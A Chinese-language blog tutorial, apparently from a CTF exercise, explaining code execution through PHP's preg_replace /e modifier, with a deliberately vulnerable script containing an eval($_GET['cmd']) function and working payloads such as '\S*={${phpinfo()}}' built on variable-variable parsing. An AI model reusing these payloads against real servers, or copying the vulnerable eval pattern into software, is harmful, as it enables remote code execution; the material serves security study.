• 利用preg_replace与正则表达式实现任意代码执行


    下面将探讨 preg_replace /e 模式下的代码执行问题, 其中包括 preg_replace 函数的执行过程分析、正则表达式分析、漏洞触发分析,当中的坑非常非常多,相信看完你也能学到很多

    下面就是这次要进行实验的代码:

    1. function complex($re, $str) {
    2.   return preg_replace(  
    3.   //preg_replace(搜索的模式,用于替换的字符串或字符串数组,要进行搜索和替换的字符串或字符串数组。 )
    4.       '/(' . $re . ')/ei', //搜索的模式
    5.   //这里的修饰符i:表示忽略大小写,e:当第二个replace匹配到第一个代码是什么就会执行什么
    6.       'strtolower("\\1")',//
    7.       $str //要进行搜索的字符串,这里的str的是用户使用GET传进来的
    8.   );
    9. }
    10. foreach($_GET as $re => $str) {
    11.   echo complex($re, $str). "\n"; //打印
    12. }
    13. function getFlag(){
    14.   @eval($_GET['cmd']);
    15. }
    16. //在php中get传参过程中会把.和[]转换为_

    这里的大致意思就是允许用户使用GET方式传入一个值,该值会传入complex函数,然后complex函数中return语句返回的值用preg_replace进行了处理

    preg_replace的第一个re参数就是我们输入的匹配模式 ,我们使用GET传参来输入

    preg_replace的第二个参数用于替换的字符串, \\1表示匹配出第一个分组的正则(即$re,也就是我们使用GET传入的),把输入的值转为小写,然后用于替换

    preg_replace的第一个参数是要进行所有的字符串,这个str也是我们可以使用GET传参控制的

    preg_replace 使用了 /e 模式,导致了代码可以被执行

    我们都知道 preg_replace 在匹配到正则符号后就会被替换字符串, 也就是第二个参数 'strtolower("\1")' 所代表的的内容将被执行

    那是如何被执行的呢?

    我们可以在php官方手册上查看preg_replace的用法:

    1. $string = 'April 15, 2003';
    2. $pattern = '/(\w+) (\d+), (\d+)/i';
    3. $replacement = '${1}1,$3';
    4. echo preg_replace($pattern, $replacement, $string);
    5. ?>

     

    根据结果我们知道pre_replace的几个参数大概是这样的含义:preg_replace(搜索的模式,用于替换的字符串或字符串数组,要进行搜索和替换的字符串或字符串数组。 )

    关键词备注:

    1. pattern
    2. 要搜索的模式。可以使一个字符串或字符串数组。
    3. 可以使用一些PCRE修饰符。
    4. replacement
    5. 用于替换的字符串或字符串数组。
    6. replacement中可以包含后向引用\\n 或$n,语法上首选后者。 每
    7. 当在替换模式下工作并且后向引用后面紧跟着需要是另外一个数字(比如:在一个匹配模式后紧接着增加一个原文数字),不能使用\\1这样的语法来描述后向引用。
    8. 当使用被弃用的 e 修饰符时, 这个函数会转义一些字符(即:'、"、 \ 和 NULL) 然后进行后向引用替换。当这些完成后请确保后向引用解析完后没有单引号或双引号引起的语法错误(比如: 'strlen(\'$1\')+strlen("$2")')。
    9. subject
    10. 要进行搜索和替换的字符串或字符串数组。
    11. 如果subject是一个数组,搜索和替换回在subject 的每一个元素上进行, 并且返回值也会是一个数组。

    第一个点

    上面假如替换以后是 eval(‘strtolower(“\1”)’) 其中 \1 其实转义以后就是 \1 ,而 \1 在正则表达式中有自己的含义

    所以这里的 \1 实际上指定的是第一个子匹配项

    官方 payload 为 /?.={${phpinfo()}} ,即 GET 方式传入的参数名为 /?. ,值为 {${phpinfo()}}

    1. 原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $str);
    2. 变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});

    但是有一点要注意,上面的语句如果直接写在程序里是可以被执行的,但我们是通过GET传参 (.*) 的方式传入的 我们都知道PHP中命名规则是没有 (. )的,而且URl对弈一些非法字符是会被替换成 _ 的。

    所以也就导致正则匹配错误,无法被执行。

    URL中会将.被转义成_,所以.无法使用.匹配

    第二个点

    我们要让代码可以被执行,就是换一个正则表达式让其能够匹配到 {${phpinfo()}}

    这里又不得不说说 \S 和 \s 的区别了,

    [\s]表示,只要出现空白就匹配

    [\S]表示,非空白就匹配

    那么它们的组合[\s\S],表示所有的都匹配

    "."是不会匹配换行的,所有出现有换行匹配的时候,就习惯使用[\s\S]来完全通配模式。

    那么我们就可以利用\S来尝试

    如果像下面这样的,传入的\S*会匹配所有非空白字符,后面的phpinfo移动会被匹配到,就可以执行

    \S*={${phpinfo()}})

    这里能够执行成功就是因为我们传入的是:\S*,这个正则表达式会被匹配上phpinfo ,然后phpinfo传入php中被执行

    第三个点

    我们为什么一直在构造 {${phpinfo()}} 的一个形式才能执行 phpinfo()函数呢? 实际上这是利用了 php可变变量 的原因,在PHP中双引号包裹的字符串中可以解析变量,而单引号则不行。 {${phpinfo()}} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} , (phpinfo()成功执行返回true)。

    如果这个理解了,你就能明白下面这个问题了:

    有时候一个变量是可以很方便的,就是说,一个变量的变量名可以动态的设置和使用,一个普通的变量可以通过声明来设置,比如:

    1. $a = "hello";
    2. echo $a;

     

    一个变量获取了一个普通变量的值作为这个可变变量的变量名,如果使用两个$$,就可以作为一个可变变量的变量了,比如:

    1. $a = "hello";
    2. $$a = "world";
    3. echo $a;
    4. echo ${$a};

    此时这两个变量都被定义了,$a中是"hello" $$a中是"word"

     

    可以看到,这里打印的结果和我们想的是一样的

    那么再来看看下面的这个例子:

    1. var_dump(phpinfo()); // 结果:布尔 true
    2. var_dump(strtolower(phpinfo()));// 结果:字符串 '1'
    3. var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'
    4. var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''
    5. var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''
    6. 这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串  

    上面的案例还可以直接调用 getFlag() 函数,给 cmd 赋值恶意代码达到被代码执行的效果

    那么我们也可以使用getFlag()函数来尝试

    ?\S*=${getFlag()}&cmd=phpinfo();

     

    可以看到,利用getFlag()函数也可以成功解析phpinfo()

    注:在php中''无法解析变量,""才可以解析变量

    preg_replace /e 的这种模式在 php7.3以后是已经被取消了的

  • 相关阅读:
    Java_求两个正整数的最大公约数
    Numpy计算近邻表时间对比
    【分数限制下,专科学子将何去何从】
    万字长文!对比分析了多款存储方案,KeeWiDB最终选择自己来
    CS5263数据手册|CS5263替代PS176|DP转HDMI2.0芯片设计资料
    Mysql的安装配置教程(详细)
    盛最多水的容器 接雨水【基础算法精讲 02】
    文心一言 VS 讯飞星火 VS chatgpt (97)-- 算法导论9.3 3题
    Druid 任意文件读取 (CVE-2021-36749)
    Git 常用命令 ( 简化开发 )
  • 原文地址:https://blog.csdn.net/qq_68163788/article/details/134444815